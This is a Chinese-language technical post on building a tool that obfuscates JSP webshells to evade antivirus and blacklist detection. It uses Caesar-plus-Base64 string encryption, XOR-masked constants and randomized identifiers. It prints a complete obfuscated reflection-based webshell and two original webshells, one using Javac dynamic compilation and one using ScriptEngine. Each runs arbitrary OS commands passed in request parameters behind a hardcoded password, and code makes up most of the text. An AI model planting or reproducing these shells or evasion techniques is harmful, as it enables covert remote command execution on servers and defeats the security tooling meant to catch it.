加密字符串常量
还剩一部,其中提取的globalArr中的字符串是明文的
加密的算法必须是可逆的,因为在执行的时候需要取出来还原
笔者选择了比较简单的恺撒加密,没有使用复杂的AES等加密
由于恺撒加密无法对特殊字符加密,所以最终选择了Base64加恺撒加密的做法
给出网上找到的算法,在这个基础上做了修改
// 加密算法 public static String encryption(String str, int offset) { char c; StringBuilder str1 = new StringBuilder(); for (int i = 0; i < str.length(); i++) { c = str.charAt(i); if (c >= 'a' && c <= 'z') { c = (char) (((c - 'a') + offset) % 26 + 'a'); } else if (c >= 'A' && c <= 'Z') { c = (char) (((c - 'A') + offset) % 26 + 'A'); } else if (c >= '0' && c <= '9') { c = (char) (((c - '0') + offset) % 10 + '0'); } else { str1 = new StringBuilder(str); break; } str1.append(c); } sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); return encoder.encode(str1.toString().getBytes(StandardCharsets.UTF_8)); } // 需要嵌入JSP的解密算法 public static String dec(String str, int offset) { try { // 先Base64解码 byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8")); str = new String(code); char c; // 然后尝试恺撒密码解密 StringBuilder str1 = new StringBuilder(); for (int i = 0; i < str.length(); i++) { c = str.charAt(i); if (c >= 'a' && c <= 'z') { c = (char) (((c - 'a') - offset + 26) % 26 + 'a'); } else if (c >= 'A' && c <= 'Z') { c = (char) (((c - 'A') - offset + 26) % 26 + 'A'); } else if (c >= '0' && c <= '9') { c = (char) (((c - '0') - offset + 10) % 10 + '0'); } else { str1 = new StringBuilder(str); break; } str1.append(c); } String result = str1.toString(); // 处理特殊情况 result = result.replace("\\\"","\""); result = result.replace("\\n","\n"); return result; } catch (Exception ignored) { return ""; } }
注意到恺撒密码需要一个偏移量,所以需要保存下这个偏移写入JSP
Random random = new Random(); random.setSeed(System.currentTimeMillis()); // 随机偏移 int offset = random.nextInt(9) + 1; // 得到字符串 List<StringLiteralExpr> stringList = method.findAll(StringLiteralExpr.class); for (StringLiteralExpr s : stringList) { if (s.getParentNode().isPresent()) { // 如果是数组中的字符串 if (s.getParentNode().get() instanceof ArrayInitializerExpr) { // 进行加密 String encode = EncodeUtil.encryption(s.getValue(), offset); // 可能会有意外的换行 encode = encode.replace(System.getProperty("line.separator"), ""); // 设置回去 s.setValue(encode); } } } // 记录偏移量 return offset;
重点来了,在被加密的字符串调用的时候需要添加上解密函数
效果是:globalArr[1] -> dec(global[1])
public static void changeRef(MethodDeclaration method, int offset) { // 所有的数组访问对象 List<ArrayAccessExpr> arrayExpr = method.findAll(ArrayAccessExpr.class); for (ArrayAccessExpr expr : arrayExpr) { // 如果访问的是globalArr if (expr.getName().asNameExpr().getNameAsString().equals("globalArr")) { // 造一个方法调用对象,调用的是解密dec方法 MethodCallExpr methodCallExpr = new MethodCallExpr(); methodCallExpr.setName("dec"); methodCallExpr.setScope(null); // dec方法参数需要是NodeList对象 NodeList<Expression> nodeList = new NodeList<>(); ArrayAccessExpr a = new ArrayAccessExpr(); a.setName(expr.getName()); a.setIndex(expr.getIndex()); // 第一个参数为原来的数组调用 nodeList.add(a); // 记录的offset需要传入第二个参数 IntegerLiteralExpr intValue = new IntegerLiteralExpr(); // 塞回去 intValue.setValue(String.valueOf(offset)); nodeList.add(intValue); methodCallExpr.setArguments(nodeList); expr.replace(methodCallExpr); } } }
处理后的结果,结合异或加密来看效果很不错
String[] globalArr = new String[] { "M3w4fDV8OXwyfDB8NHw2fDEwfDEzfDF8MTF8MTJ8Nw==", "dWJp", "aHJp", "amF2YS5sYW5nLlJ1bnRpbWU=", "bGp5V3pzeW5yag==", "amNqaA==", "PHByZT4=", "PC9wcmU+" }; ... while (true) { int op = Integer.parseInt(b[index++]); switch(op) { case ((268173 ^ 1238199) ^ (588380 ^ 1968486)): ex = rt.getMethod(dec(globalArr[((895260 ^ 1717841) ^ (247971 ^ 1333227))], ((706827 ^ 1975965) ^ (557346 ^ 1863345))), String.class); break; break; case ((713745 ^ 1371509) ^ (428255 ^ 1606073)): gr = rt.getMethod(dec(globalArr[((254555 ^ 1810726) ^ (282391 ^ 1838190))], ((414648 ^ 1339706) ^ (324750 ^ 1496585)))); break; case ((63576 ^ 1062484) ^ (129115 ^ 1128030)): rt = Class.forName(dec(globalArr[((193062 ^ 1348770) ^ (1652640 ^ 1003815))], ((369433 ^ 1334986) ^ (200734 ^ 1240520)))); break; ... } }
标识符随机命名
还差一步,需要对其中所有的标识符进行随机命名
这一步不难,拿到所有的NameExpr对name属性做修改即可
Map<String,String> vas = new HashMap<>(); // 所有的变量声明 List<VariableDeclarator> vaList = method.findAll(VariableDeclarator.class); for(VariableDeclarator va:vaList){ // 将变量名都随机修改 String newName = RandomUtil.getRandomString(20); // 注意记录变量的映射关系 vas.put(va.getNameAsString(), newName); va.setName(newName); } // 需要修改引用到该变量的变量名 method.findAll(NameExpr.class).forEach(n->{ // 修改引用 if(vas.containsKey(n.getNameAsString())){ n.setName(vas.get(n.getNameAsString())); } });
反射马最终处理
最后需要在JSP开头处塞入解密方法,而解密方法也可以进行除了恺撒加密这一步以外的其他手段
反射调用Webshell的例子经过处理后,最终的结果如下
<%@ page language="java" pageEncoding="UTF-8"%><%! String PASSWORD = "passwdd"; %><%!public static String dec(String str, int offset) { try { byte[] RdhWGkNRTHraMoNXnbqd = java.util.Base64.getDecoder().decode(str.getBytes("utf-8")); str = new String(RdhWGkNRTHraMoNXnbqd); char tBUyKgoXbsPvSsCJSufs; StringBuilder RsYpziowqWZoOiHwzNsD = new StringBuilder(); for (int TjYCIPdUeOmJcJBsquxo = (1121081 ^ 1121081); TjYCIPdUeOmJcJBsquxo < str.length(); TjYCIPdUeOmJcJBsquxo++) { tBUyKgoXbsPvSsCJSufs = str.charAt(TjYCIPdUeOmJcJBsquxo); if (tBUyKgoXbsPvSsCJSufs >= 'a' && tBUyKgoXbsPvSsCJSufs <= 'z') { tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'a') - offset + (1931430 ^ 1931452)) % (1564233 ^ 1564243) + 'a'); } else if (tBUyKgoXbsPvSsCJSufs >= 'A' && tBUyKgoXbsPvSsCJSufs <= 'Z') { tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'A') - offset + (1571561 ^ 1571571)) % (1308881 ^ 1308875) + 'A'); } else if (tBUyKgoXbsPvSsCJSufs >= '0' && tBUyKgoXbsPvSsCJSufs <= '9') { tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - '0') - offset + (1720022 ^ 1720028)) % (1441753 ^ 1441747) + '0'); } else { RsYpziowqWZoOiHwzNsD = new StringBuilder(str); break; } RsYpziowqWZoOiHwzNsD.append(tBUyKgoXbsPvSsCJSufs); } String TCdtxqdRtUvCZbefvpib = RsYpziowqWZoOiHwzNsD.toString(); TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\\"", "\""); TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\n", "\n"); return TCdtxqdRtUvCZbefvpib; } catch (Exception ignored) { return ""; } }%><% try { String[] ohMQjyWPNghGDIectNXy = new String[] { "M3w3fDl8MTF8MTB8NHwxfDEzfDB8Nnw4fDEyfDJ8NQ==", "eWZt", "bHZt", "amF2YS5sYW5nLlJ1bnRpbWU=", "cG5jQWR3Y3J2bg==", "bmdubA==", "PHByZT4=", "PC9wcmU+" }; String KYojVAFKnStuhAMYzhkx = dec(ohMQjyWPNghGDIectNXy[((234768 ^ 1973569) ^ (590428 ^ 1346061))], ((651824 ^ 1630724) ^ (814895 ^ 1933074))); String[] yvralpImQfqgUyDKbRSG = KYojVAFKnStuhAMYzhkx.split("\\|"); int kGsnqIufqoPkrtLHXIaW = ((279689 ^ 1441046) ^ (1995565 ^ 1034930)); String llbDKgUNpIZeFFzrADVc = null; String DnyFyfbKEMRubCuIJCGT = null; Class sdyNhFJrytFWBVFtHBAW = null; java.lang.reflect.Method IggLavlquoqeLcmkEMCH = null; java.lang.reflect.Method vECcMsoXaxNOVEfGJtyD = null; Process PqYHaydLQrLSTEejmXPC = null; java.io.InputStream SOPjuNYhMRIxBIMFsLnC = null; java.io.InputStreamReader OskZRyDgCtUfhCNMbiHl = null; java.io.BufferedReader ADbSwyDfyRrnejwmlMVP = null; byte[] FyRwKNOxPNyWZqTioayh = null; while (true) { int ckwcNOWaQwslAqKXsBXS = Integer.parseInt(yvralpImQfqgUyDKbRSG[kGsnqIufqoPkrtLHXIaW++]); switch(ckwcNOWaQwslAqKXsBXS) { case ((130619 ^ 1310711) ^ (16539 ^ 1196378)): SOPjuNYhMRIxBIMFsLnC = PqYHaydLQrLSTEejmXPC.getInputStream(); break; case ((70158 ^ 1439183) ^ (936575 ^ 1748408)): out.print(dec(ohMQjyWPNghGDIectNXy[((1035581 ^ 1276560) ^ (1012433 ^ 1295738))], ((408828 ^ 1977713) ^ (805113 ^ 1333629)))); break; case ((791991 ^ 1721991) ^ (276318 ^ 1205350)): OskZRyDgCtUfhCNMbiHl = new java.io.InputStreamReader(SOPjuNYhMRIxBIMFsLnC); break; case ((994327 ^ 1996681) ^ (272624 ^ 1405797)): sdyNhFJrytFWBVFtHBAW = Class.forName(dec(ohMQjyWPNghGDIectNXy[((723389 ^ 1911990) ^ (940741 ^ 1605581))], ((565548 ^ 1732890) ^ (581035 ^ 1707412)))); break; case ((660296 ^ 1894086) ^ (864030 ^ 1825429)): out.print(dec(ohMQjyWPNghGDIectNXy[((160730 ^ 1269193) ^ (2021183 ^ 1046827))], ((530501 ^ 1792818) ^ (68852 ^ 1200010)))); break; case ((314344 ^ 1957918) ^ (171737 ^ 1815843)): ADbSwyDfyRrnejwmlMVP = new java.io.BufferedReader(OskZRyDgCtUfhCNMbiHl); case ((7180 ^ 1883268) ^ (1034438 ^ 1271886)): FyRwKNOxPNyWZqTioayh = new byte[((874262 ^ 1421190) ^ (356355 ^ 1933459))]; break; case ((840786 ^ 1964027) ^ (75706 ^ 1049616)): llbDKgUNpIZeFFzrADVc = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((313090 ^ 1196306) ^ (855029 ^ 1805796))], ((1045651 ^ 1997062) ^ (598409 ^ 1616917)))); break; case ((472276 ^ 1989936) ^ (960482 ^ 1560079)): if (!llbDKgUNpIZeFFzrADVc.equals(PASSWORD)) { return; } break; case ((405394 ^ 1254229) ^ (606815 ^ 1855135)): DnyFyfbKEMRubCuIJCGT = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((877796 ^ 1647594) ^ (1003933 ^ 1775249))], ((417054 ^ 1917469) ^ (779740 ^ 1112790)))); break; case ((766303 ^ 1441376) ^ (438729 ^ 1638140)): IggLavlquoqeLcmkEMCH = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((213616 ^ 1517688) ^ (867884 ^ 1659936))], ((741373 ^ 1786126) ^ (161325 ^ 1210583)))); break; case ((93071 ^ 1493750) ^ (108351 ^ 1443399)): PqYHaydLQrLSTEejmXPC = (Process) vECcMsoXaxNOVEfGJtyD.invoke(IggLavlquoqeLcmkEMCH.invoke(null), DnyFyfbKEMRubCuIJCGT); break; case ((480088 ^ 1200421) ^ (422292 ^ 1274859)): String VzWBitUpHtiNHjloSSoh = null; while ((VzWBitUpHtiNHjloSSoh = ADbSwyDfyRrnejwmlMVP.readLine()) != null) { out.println(VzWBitUpHtiNHjloSSoh); } break; case ((492345 ^ 1552686) ^ (791819 ^ 1845016)): vECcMsoXaxNOVEfGJtyD = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((914605 ^ 1809294) ^ (17726 ^ 1452568))], ((937477 ^ 1205935) ^ (615802 ^ 1396185))), String.class); break; } } } catch (Exception ignored) { } %>
Javac动态编译
三梦师傅提供的Javac动态编译免杀马也可以进一步处理,在工具中已经实现
在JSP中构造命令执行的Java代码动态编译并执行实现Webshell
其中append很多字符串而不直接写,为了更好地恺撒加密和异或加密
处理前的原版Webshell如下:
<%@ page language="java" pageEncoding="UTF-8" %> <%@ page import="java.nio.file.Files" %> <%@ page import="javax.tools.ToolProvider" %> <%@ page import="javax.tools.JavaCompiler" %> <%@ page import="javax.tools.DiagnosticCollector" %> <%@ page import="java.util.Locale" %> <%@ page import="java.nio.charset.Charset" %> <%@ page import="javax.tools.StandardJavaFileManager" %> <%@ page import="java.util.Random" %> <%@ page import="java.nio.file.Paths" %> <%@ page import="java.io.File" %> <%@ page import="java.net.URLClassLoader" %> <%@ page import="java.net.URL" %> <% String PASSWORD = "password"; String cmd = request.getParameter("cmd"); String pwd = request.getParameter("pwd"); if (!pwd.equals(PASSWORD)) { return; } String tmpPath = Files.createTempDirectory("xxxxx").toFile().getPath(); JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler(); DiagnosticCollector diagnostics = new DiagnosticCollector(); StandardJavaFileManager standardJavaFileManager = javaCompiler.getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8")); int id = new Random().nextInt(10000000); StringBuilder stringBuilder = new StringBuilder() .append("import java.io.BufferedReader;\n") .append("import java.io.IOException;\n") .append("import java.io.InputStream;\n") .append("import java.io.InputStreamReader;\n") .append("public class Evil" + id + " {\n") .append(" public static String result = \"\";\n") .append(" public Evil" + id + "() throws Throwable {\n") .append(" StringBuilder stringBuilder = new StringBuilder();\n") .append(" try {") .append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader" + "(Runtime.getRuntime().exec(\"" + cmd + "\").getInputStream()));\n") .append(" String line;\n") .append(" while((line = bufferedReader.readLine()) != null) {\n") .append(" stringBuilder.append(line).append(\"\\n\");\n") .append(" }\n") .append(" result = stringBuilder.toString();\n") .append(" } catch (Exception e) {\n") .append(" e.printStackTrace();\n") .append(" }\n") .append(" throw new Throwable(stringBuilder.toString());") .append(" }\n") .append("}"); Files.write(Paths.get(tmpPath + File.separator + "Evil" + id + ".java"), stringBuilder.toString().getBytes()); Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Evil" + id + ".java"); javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call(); try { new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Evil" + id).newInstance(); } catch (Throwable e) { response.getWriter().print("<pre>" + e.getMessage() + "</pre>"); } %>
ScriptEngine免杀
参考天下大木头师傅的ScriptEngine调用JS免杀马,在工具中完成了进一步的免杀
其中append很多字符串而不直接写,一方面为了更好地恺撒加密和异或加密,另外考虑是防止java.lang.Runtime这样的黑名单检测
处理前的原版Webshell如下:
<%@ page import="java.io.InputStream" %> <%@ page language="java" pageEncoding="UTF-8" %> <% String PASSWORD = "password"; javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("JavaScript"); engine.put("request",request); String pwd = request.getParameter("pwd"); if(!pwd.equals(PASSWORD)){ return; } StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("function test(){") .append("try {\n") .append(" load(\"nashorn:mozilla_compat.js\");\n") .append("} catch (e) {}\n") .append("importPackage(Packages.java.lang);\n") .append("var cmd = request.getParameter(\"cmd\");") .append("var x=java/****/.lang./****/Run") .append("time./****") .append("/getRunti") .append("me()/****/.exec(cmd);") .append("return x.getInputStream();};") .append("test();"); java.io.InputStream in = (InputStream) engine.eval(stringBuilder.toString()); StringBuilder outStr = new StringBuilder(); response.getWriter().print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { outStr.append(s + "\n"); } response.getWriter().print(outStr.toString()); response.getWriter().print("</pre>"); %>